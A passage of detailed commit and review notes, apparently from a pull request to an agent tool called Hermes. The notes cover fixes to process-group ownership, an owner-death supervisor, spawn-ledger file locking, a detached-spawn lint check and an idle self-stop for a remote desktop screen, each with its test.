about 27 ms per release on macOS (measured: 27.1 ms median, 0.03 ms after), blocking every other
spawner thread behind it. The released supervisor now goes to _retired_supervisors and is reaped by
poll() on the next registration change, so it is a zombie for at most that long.

Test: the protocol test asserts the release does not wait and that the next registration reaps the
exited supervisor.
The check flagged start_new_session (keyword or dict key) and os.setsid/setpgid/setpgrp, but not
Popen's process_group= keyword, which also puts the child in a group of its own, nor the
item-assignment shape kwargs["start_new_session"] = True. Seven production sites used those shapes
unmarked, so "a new detached spawn can't bypass it" was not true. All three shapes now count for
both keywords (process_group=None, the default, does not).

The six sites it now finds are all awaited with a group-killing timeout or run a gateway restart
that must not share the updater's group; each gets a `detached-spawn: ok` marker with that reason
(shell hooks, the Windows-safe probe runner, update steps, git repack, the two update recovery
restarts). The seventh is in update_custody's embedded watchdog script, a string the AST never sees.

Tests: the four new shapes are flagged and process_group=None / start_new_session=False items are
not; the new cases fail on the prior checker.
stop() already handles a crashed router (stop_owned_group_survivors), but the watcher's restart
path went straight to _reap_orphaned_children() and _spawn(). The orphan sweep matches only
processes running our llama-server binary whose parent is gone, and nothing released the crashed
router's group, so its number stayed registered until a later prune noticed it was empty. The
restart now calls stop_owned_group_survivors on the crashed router first, the same rule stop() uses.

Test: a stand-in router crashes with a model child in its group; after the watcher's restart the
child is gone and the old group is released. It fails with the call removed.
- process_supervisor.sh compares every register line with its parent pgid. An empty or non-numeric
  value made each comparison error out and `|| continue` dropped every registration silently; it
  now exits 2 with a message. (Python always passes os.getpgid(0), so this is robustness, not a
  live bug.) Test: the script refuses "" and "12x".
- The ddgs worker's detached-spawn marker said the worker exits on owner death because it blocks
  on stdin. It does not: communicate() writes the request and closes stdin at once, so a worker
  whose owner dies mid-search finishes that search. The marker now says so.
- mcp_tool_lifecycle's child-filter comment said LSP servers and the slash worker "use
  start_new_session"; they are owned children under the supervisor now.
`sys` and `_get_mcp_stderr_log` in tools/mcp_tool.py were used only by _spawn_death_supervisor,
which this branch deleted (ruff: two new F401 against base). Three tests patched
tools.mcp_tool._get_mcp_stderr_log, which nothing reads now (the stdio transport reads
mcp_tool_config's directly, as it did on base), so those patches did nothing and go too. One slash
worker test still set HERMES_SLASH_WATCHDOG_GRACE_S/POLL_S, which nothing reads since the watchdog
knobs were removed.
Round-2 review of the exit-path fold:
- Windows records no ownership (_own_harness_daemon is POSIX-only), so the owned-only exit stop
  would have stopped nothing there. stop_owned_harness_daemons stops every driven daemon on
  Windows, as the exit path did before.
- _own_local_daemon keeps its one-syscall group-leader check for an already-owned pid, so a stale
  pid file whose pid was recycled is never treated as the owned daemon.
- The ddgs marker now says the worker runs until its search returns, which is unbounded if primp hangs.
- test_mcp_stdio_init_timeout still patched tools.mcp_tool._get_mcp_stderr_log (dropped in the
  previous commit); the replaced-daemon test uses a reaped child's pid instead of a fixed 4242; the
  two browser kill -9 tests treat macOS's EPERM for a zombie-only group as gone.

cleanup_all_browsers keeps stopping every driven daemon: /browser connect|disconnect call it so the
next call runs on the new endpoint, and a daemon latches its endpoint when it starts
(TestBackendSwapRetargetsDaemons). Its reload of a daemon another Hermes started on the same name
is main's behaviour, unchanged here.
main's test_expiry_during_spawn_keeps_reservation_until_late_process_stops (#142439, added while
this branch was open) stops a stand-in bridge through _terminate_whatsapp_pairing, which on this
branch releases the stopped bridge's process group by pid. The _Bridge double had no pid, so the
test raised AttributeError here (red on the rebased head in the Linux full suite, green on base).
The double now carries one; the release only unregisters it, nothing is signalled.
95b9c3ac5a stopped the release from wait()ing on the exiting supervisor (a timed Popen.wait polls
with sleeps, ~27 ms per release) and reaped it with poll() on the next registration change instead.
Until then the exited supervisor was a zombie child of Hermes, and code that walks Hermes's children
with psutil trips on it: CI's test_gateway_editor_mcp_held failed with psutil.ZombieProcess from
cmdline() on the gateway's children. The release now hands the exited supervisor to a daemon thread
running the untimed wait(), which blocks in waitpid and returns the moment the supervisor exits, so
the release still costs ~0.1 ms (measured) and leaves no zombie. _retired_supervisors is gone.

Test: after a real release the supervisor's pid is gone (not a zombie); fails on the prior head.
Review of 3bb786e01a: the broken-pipe path (the supervisor exited between poll() and the write)
dropped the Popen without reaping it, leaving the same zombie child. Both paths now go through
_reap_in_background (the untimed wait() on a daemon thread).

Test: the broken-pipe protocol test asserts the dead supervisor is wait()ed (fails without the call),
and the release test asserts the wait() ran off the releasing thread (fails with a synchronous wait).
Greptile on d1d8bc2e19: stop_owned_harness_daemons trusted the cached ownership entry and stopped the
daemon by name (--reload). If our daemon had exited and another live Hermes had since started its
replacement under the same name, _own_harness_daemon never saw it (no command ran here after), so
exiting this Hermes stopped the other Hermes's browser. The exit path now reads the name's published
pid (one resolver, _published_daemon_pid, shared with _own_harness_daemon) and reloads only names
that still publish the pid we own; for the rest it forgets the entry and releases our old group once
empty. The exit test now uses a real per-test runtime dir instead of resolving under $HOME.

Test: with the name republished by another pid, exit reloads nothing and releases ours; the control
half (still our pid) reloads it. Fails when the published-pid check is removed.
Greptile on d1d8bc2e19: browser_exec handed the harness daemon to the owner-death supervisor only
after the CLI call returned, and agent-browser did the same for its daemon and Chromium. The first
call starts them and can run for minutes (navigation, user code); a Hermes killed during it left
them running, as on main. Both waits now run inside registering_meanwhile(), which calls the same
ownership check (_own_harness_daemon / _own_local_daemon) every 0.5 s on a helper thread while the
command runs and stops (joined) before the caller's own post-call check. A command shorter than
0.5 s never triggers it; the check is the existing one, so a daemon another Hermes started is still
never registered. _owns_local_daemon names the local-session predicate both agent-browser call sites
now share.

Tests: a browser_exec and an agent-browser command that block until their daemon was owned (both
fail when the wrapper is removed); registering_meanwhile stops with its block and swallows a failing
registration.
Review of 7b22760a16: registering_meanwhile started a fresh "while not done.wait()" thread per
browser command, the exact loop agent.periodic_scheduler exists to replace (one process-wide timer
thread; a body runs on a short-lived worker only when due, raises are logged and rescheduled, a
handle never overlaps itself, cancel(wait=) lets an in-flight run finish, and the body keeps the
caller's context). browser_exec and the local agent-browser command now schedule their existing
ownership check on it and cancel it (wait=5) before their own post-command check; the helper and
its unit test are gone, and hermes_cli no longer gains a thread it had to mark exempt.

Tests: the two long-first-command tests still fail when the scheduled check is a no-op.
Review (2c efficiency, nit 8): the 0.5 s check that owns a long first command's daemon kept
running for the whole command, and for an already-owned agent-browser daemon each tick rescans the
process table for children (psutil children(): 7-15 ms on a busy host). Both periodic checks now
return False once their daemon is owned, which stops them (agent.periodic_scheduler); the call
after the command still rescans for a relaunched Chromium. A pid file naming a process that fails
the identity check logged WARNING "Refusing to reap browser daemon" on every tick; that path now
logs at DEBUG (the reap paths keep WARNING).

The agent-browser half lives in browser_tool_lifecycle (_owning_local_daemon_meanwhile, next to
_own_local_daemon), which also keeps browser_tool_session.py under the 1k-line shape gate.

Test: once owned, the in-command check runs once and stops; fails when the check never returns False.
Review (W2): _append_entry rewrote the machine-wide spawn-ledger.json under a threading.Lock only,
so two Hermes processes writing at once each dropped the other's rows. This branch made every
spawn_owned a writer, which widened that pre-existing race a lot: three processes registering 15
children each at the same instant kept 18 of 45 rows. Rows that matter can be lost the same way
(serve/dashboard rows read by the profile-delete guard and the updater, MCP helper rows read by the
orphan reaper). The read-modify-write now also holds an exclusive lock on spawn-ledger.json.lock
(the fcntl/msvcrt helper hermes_cli.active_sessions already uses); a lock that cannot be taken
falls back to the thread lock, best-effort like the write itself. Profile data cleanup protects the
lock file next to the ledger.

Test: three processes register 15 live children each at the same instant; all 45 rows are kept.
Fails without the file lock (27 of 45 lost).
Review (W7, nit 3): the supervisor's liveness was checked only by poll() inside the next
registration change, so a supervisor killed on its own (its argv carries the install path, so a
`pkill -f hermes` takes it out; or the OOM killer) left the owner's groups uncovered, possibly for
hours on an idle gateway, and nothing logged it. Each supervisor now gets one waiter thread
blocked in the untimed wait(). When it exits while it is still the current supervisor and groups
are registered, the waiter logs a WARNING and starts a replacement under the lock, replaying every
registered group (_start_supervisor_locked, now the one spawn-and-replay path). A released
supervisor (EOF with an empty set) or one already replaced is only reaped, which also replaces the
release-time reaper thread. A supervisor that dies within 5 s of starting is left to the next
registration change, so a broken install never spins.

Tests: kill -9 the supervisor while a group is registered; a replacement starts with no
registration change, the killed one is reaped, and the replayed group dies on the replacement's
EOF (fails with the restart removed). The released-supervisor zombie test still binds the waiter.
Review (W3): agent/managed_worker.py documents that a worker keeps its background processes,
sandbox and browser between turns, and _owns_job exempts managed-worker jobs for that reason.
The browser daemons had no such exemption: a Browser Use harness daemon or an agent-browser
daemon (and its Chromium) started by one turn's worker was owned by it, so the supervisor killed
it when that worker exited and the next turn got a fresh browser (a Browser Use cloud browser lost
its state). _own_harness_daemon and _own_local_daemon now return early in a worker process
(agent.runtime_session_store.is_worker_process), mirroring _owns_job.

Tests: in a worker process neither family registers its daemon; both fail without the check.
Review (W4): on main, the atexit handler reached harness daemons only through
cleanup_all_browsers when _active_sessions was non-empty, so a browser_exec-only process never
stopped them on Windows. This branch's exit step fell back to stop_harness_daemons() off POSIX,
so every Windows exit --reloaded every daemon it had driven: a shared "default" daemon another
live Hermes was using (the cross-owner stop this branch fixes on POSIX) plus up to 15 s of exit
latency per daemon. Windows records no ownership, so the owned-only exit step now does nothing
there, as main did.

Test: with os.name "nt" and a driven daemon, the exit step reloads nothing; fails with the fallback.
Review (W6): RaftAdapter._stop_bridge runs from async disconnect() and ended with
release_process_group_once_empty at its default 1 s timeout, against the API's own rule
(timeout=0 for async callers). proc.terminate() signals only the leader, so any child left in the
bridge's group made disconnect stall the loop for the full second (main: 0 s). It now probes once
(timeout=0), like the WhatsApp adapter and LSP; a group with a live member stays covered either
way. The dashboard's WhatsApp pairing stop runs on the event loop too and gets the same.

Test: stopping a bridge whose helper survives TERM returns well under the old 1 s wait and keeps
the group covered; fails with the default timeout.
Review (nit 9, nit 4): when git could not list the tracked files the ratchet scanned nothing and
reported the tree clean; it now exits 2. A bare `detached-spawn: ok` with no reason passed; the
marker now counts only with a reason after the dash (every existing marker has one). The docstring
now lists the shapes it does not catch (PTY spawns, aliased imports, os.posix_spawn(setsid=True),
kw.setdefault("start_new_session", True)), and says that a group-killing timeout runs in the owner,
so an owner killed mid-wait leaves such a child to finish; the process_identity comment no longer
claims the ratchet keeps every detached spawn out.

Tests: a reasonless marker does not opt out; a tree git cannot list fails with exit 2. Both fail on
the prior ratchet.
Review (nit 1): `sleep` is not a dash builtin, so with an unusable PATH (`sleep: not found`) the
supervisor's three one-second waits returned at once and the KILL followed the TERM at +0 s,
cutting short a child's TERM cleanup. The wait now runs `command -p sleep 1` (the shell's default
PATH), falling back to a plain `sleep 1` on a shell without `command -p`.

Test: with PATH=/nonexistent a TERM-ignoring group is still alive 1.5 s after the EOF and is then
KILLed; fails with the plain `sleep`.
Review (nits 5, 10): the ddgs worker's marker and comment said its 30 s cap kills the worker's
group; _terminate_and_reap signals the worker pid only. The WhatsApp adapter still described
adopting a crashed gateway's bridge, which no longer survives its gateway (it is spawn_owned);
adoption now only meets a bridge a pre-update gateway or another process left, and needs no
re-pair. Comments only.
Review (W1): the docstring (and the PR description) read as if CLI, TUI and foreground-gateway
background jobs were owned. Every gateway boot runs recover_from_checkpoint, which sets
_jobs_outlive_host whether or not a checkpoint exists, and the classic CLI, the TUI, the Desktop,
ACP, cron and messaging all run their tools in a gateway, so their background jobs are not owned,
exactly as on main. Only a process that is not a gateway owns its jobs; foreground commands are
owned everywhere. Whether an idle-exit CLI gateway that recovered nothing should own its jobs is a
behaviour change with its own risk (an idle exit would then kill a user's `npm run dev &`), so it is
left for a separate change. Docstring only.
main deleted agent-browser and the browser_tool_* modules and replaced them with a Python Chromium
launcher (tools/browser_launcher.py) and a browser_session layer. On this base:

- The agent-browser family (daemon + Chromium ownership) and the old lightpanda / real-profile
  ownership have nothing left to apply to; their tests are dropped.
- main's atexit handler (browser_session_lifecycle.emergency_cleanup_all_sessions) now always runs
  cleanup_all_browsers, which stops every harness daemon this process drove. The owned-only exit
  step (stop_owned_harness_daemons) had no caller left and is removed; a harness daemon this
  process started is still owned and dies with it on an ungraceful exit.
- The launcher's Chromium and lightpanda serve start detached by design: a shared-profile Chromium
  outlives its launcher for its other holders, and a crashed owner's throwaway Chromium or
  lightpanda server is reaped from its launch record by the next Hermes. Both spawns are marked
  with that reason; owning the throwaway ones is a follow-up.
- The long-first-call test drives main's browser_exec routing (_route_exec_current).
Gate (reuse): _ledger_file_lock rebuilt hermes_cli/active_sessions._FileLock (mkdir, open the
sidecar, flock, unlock and close). _append_entry now enters _FileLock through an ExitStack and
keeps the ledger's best-effort rule: a lock that cannot be taken leaves the thread lock as the only
guard. No behaviour change; the concurrent-writers test (three processes, 45 rows kept) still passes.
Gate (2c): while the waiter thread sits in the untimed wait() it holds the Popen's waitpid lock, so
poll() keeps answering "running" for a supervisor that has died. A registration change in that
window writes into the dead pipe, gets BrokenPipe and drops the supervisor (_supervisor = None);
the waiter then saw "not current" and only reaped it, so the registered groups stayed uncovered
until the next registration change. The waiter now returns early only when another supervisor
already replaced it; a dropped one is restarted and replayed like a current one (a deliberate
release still ends at the empty-set check).

Test: kill the supervisor and drop it under the lock, as the broken-pipe caller does; a replacement
starts and kills the replayed group on EOF. Fails with the old check.
Gate (2c, efficiency): the 0.5 s check while browser_exec runs stopped only once this process
owned the daemon. On Windows, in a managed worker, or for a daemon another Hermes started it can
never be owned, so it ran every tick for the whole call (up to ~600 short threads in a 300 s call;
for another Hermes's daemon each tick also read its cmdline, uids, sid and environ).
_own_harness_daemon now answers True (owned), False (never ours) or None (nothing to own yet), and
the check stops on anything but None. The managed-worker comment now gives the real reason: a
killed worker must not take the next turn's browser along; its clean exit still runs main's atexit
browser cleanup.

Tests: for another Hermes's daemon and in a managed worker the check answers stop; both fail with
the old owned-only stop rule.
Gate (quality): the port onto main's browser rewrite dropped
test_a_sigkilled_owner_takes_its_harness_daemon_with_it with the agent-browser and exit-path tests,
though it uses only browser_use_cli surface that is still here. It is the only end-to-end proof
through the real supervisor that a kill -9'd Hermes takes its harness daemon along; restored
unchanged (fails when _own_harness_daemon stops handing the group to the supervisor). The
process_identity comment's example of a child something else spawns named the agent-browser
daemon's Chromium, which nothing owns any more; it names the browser-harness daemon.
Gate (efficiency): a gateway owns no background jobs, so its supervised set is usually empty, and
every foreground command owned and released its group: the release closed the supervisor and the
next command spawned a new /bin/sh under _supervisor_lock. The supervisor now exits only after the
set has stayed empty for _SUPERVISOR_IDLE_EXIT_S (30 s); a registration inside the grace cancels
it and reuses the same supervisor. It still exits on its own once idle, so nothing stays resident
for the life of a quiet gateway.

Measured on macOS arm64, 20 own/run/release cycles of `true`: 5.6 ms per command with the
immediate release, 3.5 ms with the grace.

Tests: two commands in a row share one supervisor, which then exits and is reaped after the grace
(fails with the immediate release). The protocol tests that assert the release itself pin the
grace to 0.
Review (CI red on the idle-grace commit): _update_supervised_pgids promises that losing the safety
net never fails a live child, but the idle-grace Timer and the supervisor's waiter thread were
started outside that guard. A process that cannot start a thread (a thread limit, interpreter
shutdown, tests that patch threading.Thread) got the exception out of spawn_owned after its Popen,
so the caller lost the child's handle; six process-registry tests failed on CI. Both starts are now
guarded: with no timer the supervisor is released at once, as before the grace; with no waiter it
still works and is only reaped at exit. The list-exit probe, which is itself the subreaper whose
final wait collects every descendant, pins the grace to 0.

Test: with Thread.start failing, spawn_owned returns its child and the release closes the
supervisor at once (fails without the guard, as do the six CI tests).
Review (minor, the rest of W7): the 5 s minimum uptime meant for a broken install also caught a
supervisor SIGKILLed soon after it started, and since the idle grace a new supervisor starts after
every idle period, so that window reopened often (probe: killed at +0 s, no replacement, 4
survivors). The waiter now restarts any supervisor that died of a signal; only one that exited on
its own (sh exiting 2 or 127) within 5 s is left to the next registration change.

Test: the kill -9 restart test no longer zeroes the uptime floor; it kills the supervisor right
after it starts and still sees the replacement kill the replayed group (fails without the signal
rule).
Review (minor): the ledger's cross-process lock used a blocking flock, so a writer stopped
mid-write (SIGSTOP, a debugger) stalled every spawn_owned on the machine (probe: no return within
5 s). active_sessions._flock and _FileLock take an optional timeout: the lock is polled
non-blocking (LOCK_NB, msvcrt LK_NBLCK) and gives up with OSError once it passes. The ledger waits
at most 2 s, then writes under the thread lock alone, the path it already took when no lock could
be had. Existing _FileLock callers pass no timeout and are unchanged.

Test: with another descriptor holding the lock, register_child returns True within the test's
10 s join (0.3 s timeout); it blocks without the timeout.
Review (minor): the restored end-to-end test's stand-in daemon inherited the owner's stdout, so on
a tree where the owner died before printing the daemon pid, readline() waited out the daemon's
300 s sleep and the run ended with no result (and a leaked daemon). The daemon's stdout now goes to
DEVNULL: an owner that fails hands the test EOF at once. With the ownership call missing the test
fails in seconds; at head it passes.
Review (minor): the comment said the display watcher idle-stops the screen. The follow-up that has
the launcher run the same idle rule itself would leave that stale; naming the rule
(idle_stop_minutes) stays true either way. Comment only.
Gate (reuse, correctness): the timeout branch added to active_sessions._flock rebuilt
pm.filesystem.lock_fd (a deadline-bounded LOCK_NB / LK_NBLCK poll that hermes_cli already uses),
and it retried every OSError until the deadline, so on a filesystem that cannot flock at all (some
NFS, SMB or FUSE mounts: ENOLCK, EOPNOTSUPP) each spawn_owned waited the full 2 s before its
no-lock fallback. The timeout path now calls lock_fd, which retries only while another holder has
the lock and raises anything else at once; the blocking path and unlock are main's again.
_FileLock's error names the lock path instead of "active session", since the spawn ledger uses it
too. The stalled-holder test also checks that the row was written past the timeout.
Gate (2c, efficiency): restarting every supervisor a signal killed, whatever its age, removed the
loop guard for a killer that hits every new /bin/sh at once (a sandbox, seccomp, an OOM killer
that keeps picking it): a probe with a supervisor that kills itself spawned 51 in a second. A
supervisor killed before it is 5 s old now gets one restart; if that replacement is also killed
young, it waits for the next registration change, as one that exits young always did. A
pkill -f hermes that meets a supervisor just started after an idle period is still restarted.

Test: with a supervisor script that kills itself, one registration starts exactly 2 supervisors,
and no third within the next second (without the budget: 80).
Gate (quality): with no waiter thread a supervisor is left a zombie until we exit (nothing reaps
it at exit), and the broken-pipe comment now says its waiter reaps it only if it has one. The
thread-start test patches Thread.start only around its spawn and release instead of for the whole
test, and asserts the child it got back ran.
Rebase onto main: main moved the repack into git_commit_graph.run_bounded_git, a niced git in a
process group of its own (process_group=0) that the timeout and atexit kill. A SIGKILLed or
OOM-killed owner ran neither, so git repack and its pack-objects kept packing for as long as they
took; the detached-spawn ratchet flagged the new spawn. It now starts through spawn_owned (same
own group, plus the owner-death supervisor) and releases the group once it is empty; the timeout,
atexit and SIGTERM-first kill are unchanged. spawn_commit_graph_refresh is meant to be detached
("must neither delay the update nor die with it"), so its Popen gets a marker with that reason.

Test: a git-maintenance case in the kill -9 owner matrix (a `git` that execs the child, the way
repack forks pack-objects): the SIGKILLed owner's tree dies, the live owner's survives. Fails
with the plain process_group spawn.
Rebase onto main: main's 7c4e069596 (teknium, Oct 25) added flush_before_hard_exit() before the
slash worker's parent-death os._exit, so an orphaned worker still writes the open sessions'
summary for the opt-in metrics runtimes. This branch replaced that watchdog with the owner-death
supervisor and keeps only a legacy one for a worker a pre-update gateway launched with
--parent-pid; that one now flushes too. main's test drove the removed watchdog; it now drives the
legacy one (POSIX only, like the watchdog).

Test: test_orphaned_slash_worker_writes_the_open_sessions_summary fails with the flush removed.
Review nit: Thread.start() and Timer.start() raise RuntimeError ("can't start new thread") when no
thread can be started; catching Exception there could hide a real bug in the waiter or the idle
release. The thread-start test already raises RuntimeError and still passes.
Review nit: when the ledger's file lock cannot be had (a holder stalled past the 2 s timeout, or a
filesystem without file locks) the write goes ahead under the thread lock alone, which reopens the
cross-process lost-row race the lock closed; that was logged only at DEBUG. The first such write
in a process now logs a WARNING that says so (agent.log); later ones stay at DEBUG.

Test: the stalled-holder test writes twice past the lock and sees exactly one WARNING (fails with
DEBUG only, and with WARNING every time).
Review (Greptile P1): adopt_local moved the command's supervised group to the new job before the
job's reader thread started. If the reader could not start, the exception reached the caller,
which resumes its foreground wait, but the group stayed with the discarded session: in a gateway
it had already been released, so the still-running command lost owner-death cover; elsewhere the
dead session kept it, so the foreground completion could not release it and a child the command
left running on purpose could be killed when Hermes later exited. On that failure the group now
goes back to the Popen (re-covered by the supervisor), so the foreground wait releases it as
usual.

Test: with the reader failing to start, both in a process that owns its jobs and in a gateway,
the Popen holds its group again and it is covered; fails without the hand-back.
The watcher noticed a crashed router, waited out the restart backoff (up to 60 s) and only then
called stop_owned_group_survivors, which signals a group because its number is still in the
registered set. When the crash left nothing in the group, that number was free for reuse for the
whole backoff while still registered, so a stranger's group that got it would be sent TERM and then
KILL. The watcher now releases an already-empty group as soon as it sees the crash; a group with
survivors stays registered, and its number cannot be reused while they run.

Test: a router stand-in that exits at once is no longer registered when the backoff starts; fails
without the release.
register_child writes the spawn ledger: a read-modify-write of the JSON with a liveness check per
row (about 16 ms with 50 rows) under a cross-process file lock that waits up to 2 s while another
Hermes holds it. LSPClient._spawn runs inside async code, so this branch put that work on the event
loop, where main did no ledger write. It now goes through asyncio.to_thread. The handle is stored
first, so a start() cancelled during the hop still kills the server through its error path.

The Raft and WhatsApp bridge spawns in connect() keep spawn_owned on the loop: moving the spawn
into a thread made connect() cancellable after the fork, and a gateway connect timeout then left a
bridge running that disconnect() could not see.

Test: the LSP ledger stand-in fails when it runs on the event loop; fails without the change.
The layer-4 header and the spawn_owned docstring told callers to end a stop with
release_process_groups, which drops coverage at once, even for group members that survived the
stop. Every spawn_owned caller releases through release_process_group_once_empty (or
stop_owned_group_survivors), and release_process_groups is for handing a group back on purpose
(a finished terminal command, MCP after its own reap). The comments now say so.
Review (Greptile P2): tests/AGENTS.md requires @pytest.mark.platforms("posix") instead of a bare
skipif, so two tests this branch added (the stalled ledger-lock holder, the orphaned slash worker's
metrics flush) now carry the marker. The Raft stop test asserted the stop returned within 0.8 s,
below the suite's 2 s timing floor; it now records the release call and asserts it probes once
(timeout=0), which is the behaviour it guards. That assertion fails when _stop_bridge drops
timeout=0.

The removed timing check left `import time` unused, and the WhatsApp disconnect test imported
the adapter module it never used; both imports go.
main's ac884e530a starts updater git in its own session under _owner_watch. It is awaited,
_owner_watch kills a fetch's group if the owner dies, and a lock-holding mutator is left to
finish its write on purpose (watch_owner=not mutator), so spawn_owned would be wrong here.
A Bot Desktop screen outlives the gateway that started it on purpose, so a
restarted gateway re-attaches to it. Both things that stop it (the display
watcher's stop_if_idle and the orphan sweep at the next start) run inside a
gateway, so when no gateway comes back the screen (Xvnc, Xfce and any browser
left open) runs until reboot.

launcher.sh now runs tools/bot_desktop/idle_watch.py in a loop. Each run
calls the existing runtime.stop_if_idle() (same idle_stop_minutes window,
same activity stamp, never while a human holds the screen) and prints the
seconds until the screen could next be due. Nothing stays resident between
checks; a check costs about 0.4 s of CPU. The check runs in a session of its
own so it survives stop()'s group kill and finishes the stop. The launcher
stamps activity when it starts, so a stale stamp from an earlier screen
cannot stop the new one, and retries a failed check every 5 minutes instead
of exiting. runtime.py passes the interpreter, source root and profile home.
The sandbox-hosted screen gets no interpreter and is unchanged.

Follow-up to #137057.
stop_if_idle decided "idle" before stop() took start.lock, and
_stop_locked then killed whatever launcher.pid named once the lock was
free. A check that waited on the lock while the screen was stopped and
started again (a Desktop Stop/Start, `screen stop && start`, or the
gateway watcher and the launcher's check firing together) killed the new
screen the moment it got the lock, whatever its idle age.

The decision is now taken again under start.lock, and nothing is killed
if it no longer holds. The launcher passes its own pid to the check,
which pins it to that launcher's (pid, create_time), so the check only
ever stops the screen that ran it. Without an identity (the gateway
watcher) the rule is unchanged apart from the re-check.
The launcher's watch loop ran the idle check as `delay=$(check)`. When
that check decides to stop the screen, stop() TERMs the launcher's
process group, which includes the loop; bash defers the loop's TERM
trap until the command substitution returns, but the check is itself
waiting for the group to empty. Every self-stop therefore sat out
stop()'s 5 s grace, ended in SIGKILL, and held start.lock the whole
time, so an agent action or the pane's Start blocked behind it.

The check now runs in the background with its output in a file and is
waited on with `wait`, which a trapped signal interrupts, so the loop
exits at once and the check (in its own session) finishes the stop.
The watch loop checked first and slept second, so every screen launch
paid for an interpreter start while Xfce was still coming up, to read
an activity stamp the launcher had just written. That check could
never stop anything and raced start-up.

runtime.py now passes the first delay (one idle window, the same value
the check itself would return at age 0) and the loop sleeps before
each check.
stop_if_idle skips a screen whose lease says a human holds it, and
nothing ever expires that lease: the viewer bridge deliberately keeps it
when the link drops (laptop lid, Wi-Fi), and a corrupt lease file reads
as human. A screen abandoned in that state, with no gateway coming back,
ran until reboot, the case the launcher's self-stop exists to close.

An attached viewer stamps activity on the updates it receives (at most
once a minute, and the panel clock repaints every minute), so a human
watching keeps it fresh. A human lease with no stamp for four idle
windows (two hours at the default) is now treated as abandoned and the
screen stops like any idle one. The docs state the rule.
Review nit: the launcher's idle check ran tools.bot_desktop.idle_watch with
HERMES_BD_PYTHON, the interpreter of the process that started the screen.
`hermes update` can rebuild the environment at a new path, so that
interpreter is gone by the next check: every check then failed, was retried
in 300 s, forever, and an abandoned screen never stopped.

Each check now falls back to the install's current interpreter when the
starter's is no longer executable: HERMES_BD_SRC_ROOT/venv/bin/python, then
HERMES_BD_SRC_ROOT/.venv/bin/python (both layouts are in the wild). It is
re-evaluated per check, so an update between checks is picked up.

Test: an abandoned screen whose starter interpreter no longer exists, in an
install whose environment lives in venv or .venv, stops itself after the
idle window, and the check ran with the install's current interpreter.
Review: the update fallback only fired when the starter's interpreter was
gone, and then probed venv/.venv. On an installer (store) install that
interpreter is the versioned store tool, which survives an update; the
check found its dependencies only through the PYTHONPATH generation it
inherited at spawn. Once that generation is collected every check fails
with ModuleNotFoundError and is retried every 300 s for the rest of the
screen's life, so the long-lived screens this targets never stop. The
venv/.venv order was also arbitrary on migrated hosts.

Fix: runtime.py hands the launcher the install's own command for the
check, installation_command(src_root, module="tools.bot_desktop.idle_watch"),
shell-quoted in HERMES_BD_IDLE_CMD. On a store install that is the
"<root>/.hermes/bin/hermes --run-module ..." launcher, which drops the
inherited PYTHONPATH, follows Python pin changes and loads the current
dependency generation on every run; elsewhere it is runtime_command. The
launcher runs it with eval "set -- ..." and appends its pid, so
sys.argv[1:] is still [pid]. The venv/.venv probing and HERMES_BD_PYTHON /
HERMES_BD_SRC_ROOT are gone.

Tests: a unit test checks that the command handed to the launcher equals
installation_command(...) for a store layout. The end-to-end update test
now starts the screen with the starter's interpreter removed and its
inherited PYTHONPATH pointing at a collected generation, from a root
whose path needs quoting; the screen stops itself through the install's
launcher, which saw exactly "--run-module tools.bot_desktop.idle_watch
<launcher pid>". Both fail on the previous launcher.
Review: test_a_screen_in_use_is_kept_and_a_returning_gateway_reattaches
aged activity to 3.2 s with a 3 s window and then needed two "screen
kept" checks before the human lease lapsed at 12 s idle: about 9 s for
two checks at a 3 s cadence plus an interpreter start each, which timed
out once in a loaded parallel run.

Fix: a 0.1-minute window (the lease lapses at 24 s idle), and the test
first syncs on a check that just kept the screen in use before writing
the human lease. The next check then starts a full window later and is
certain to judge the human-held, past-the-window screen, so one kept
check proves the rule (the second one only covered a check that might
already have been in flight). That leaves about 11 s of slack instead of
under one.

The assertion is as strong as before: with the human lease honoured for
only one window, the test fails waiting for the kept check.
Review: the idle check runs in a session of its own, so it can outlive
its screen, e.g. after waiting on start.lock while a replacement started.
_spawn_and_wait opened launcher.log with "wb", truncating the same inode
the stale check still held at its old offset. Its late write left a long
run of NUL bytes in the replacement's log, followed by "changed while the
idle stop waited; kept" / "screen kept" lines that read as if they were
about the new screen.

Fix: unlink launcher.log before opening it, so each start gets a new
file (still one log per launch) and a stale check writes only to the
old, unlinked one.

Test: a descriptor held on the old log at its end (as the launcher's
non-append stderr is) writes after a start; the new log stays empty.
Before the fix it held the NUL run and the stale line. The spawn helper
is shared with the installation-command test.
Review: _stop_locked dropped launcher.pid, env and activity, but
bot-desktop/idle-watch.out (the launcher's idle check output, one
integer) survived every stop, including the self-stop of an abandoned
screen.

Fix: remove it with the other runtime files of the stopped screen.

Tests: stopping a running launcher leaves the state directory empty, and
the end-to-end abandoned-screen test now waits for idle-watch.out (and
activity) to be gone as well. Both fail with the file left behind before
the fix.
Review: in test_idle_screen_is_stopped_but_a_used_or_held_one_is_not the
idle age moved from 3600 s to 1200 s when a human lease started lapsing
after four windows, but the message still said a human mid-login is
"never" timed out. It now says "not timed out within four windows". The
assertion itself is unchanged.
Review (Greptile P1): the human lease lapses after four idle windows, but an attached viewer stamps
activity at most once a minute (and the panel clock repaints once a minute), so stamps can be about
two minutes apart. With a short window (idle_stop_minutes: 0.1, four windows = 24 s) the idle stop
could close a screen a human was using between two stamps. The lapse is now four windows and never
less than 10 minutes (HUMAN_LEASE_ABANDONED_MIN_S). The default 30-minute window is unchanged (its
four windows are 2 h). Docs say so.

Test: with a 6 s window a human lease 150 s since the last stamp keeps the screen, and one past the
floor stops it; fails with the four-window lapse alone.
Review (Greptile P1): test_an_idle_check_that_waited_on_the_lock_never_stops_the_replacement_screen
takes the real start.lock through runtime._flocked, which imports fcntl, so it cannot run on
Windows; tests/AGENTS.md asks host-specific tests to carry a platforms marker, as the other lock
tests in the file do. Marker only.
idle_stop_minutes: .inf meant "never stop" before the self-stop. start() now computes the launcher's
first-check delay from the window, and next_check_in overflowed on an infinite one, so the screen
could not start. A non-finite or non-positive window now reads as off, like 0.
The watch loop inherited the launcher's set -e. A sleep killed from outside (a stray pkill, the OOM
killer) made wait fail and ended the loop silently, so that screen never stopped itself again. The
loop now runs with set +e: a killed sleep goes straight to the check, a failed check retries in 300 s.
A sleep that fails on its own (it cannot sleep at all) still ends the loop rather than spinning the check.
Once a human lease lapses (four windows, ten minutes at least) the screen is stopped, but lease.json still
named the human, so computer_use and the browser refused with "a human has control" before anything
started the next screen: the docs' "the next use starts it again" did not hold. After that stop the
lease is released, but only the generation judged abandoned: lease.release() takes the epoch read before
